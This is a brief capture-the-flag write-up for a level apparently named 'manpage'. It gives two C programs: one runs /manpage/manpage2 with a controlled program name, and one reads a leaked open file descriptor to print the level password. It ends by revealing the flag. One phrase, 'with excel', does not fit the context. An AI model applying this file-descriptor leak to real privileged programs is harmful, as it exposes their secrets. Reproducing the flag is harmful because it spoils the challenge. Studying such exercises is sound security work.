in this level we can exploit the fact it leaves the file open, and also we can execute our code using the last line that reruns the file, with excel.
#include<stdio.h>
#include<unistd.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
char *pathname = "/manpage/manpage2";
char *new_argv[] = {argv[1], NULL};
execv(pathname, new_argv);
return 0;
}
// gcc -m32 level2.c -o level2
#include<stdio.h>
int main(){
int fd = 3;
char pass[32];
if(lseek(fd, 0, 0) == -1){
printf("Error: lseek failed\n");
return 1;
}
if(read(fd, pass, 32) == -1){
printf("Error: read failed\n");
return 1;
}
printf("Password: %s\n", pass);
return 0;
}
// gcc -m32 read_pass.c -o read_pass

Flag: uAcGloJt0Q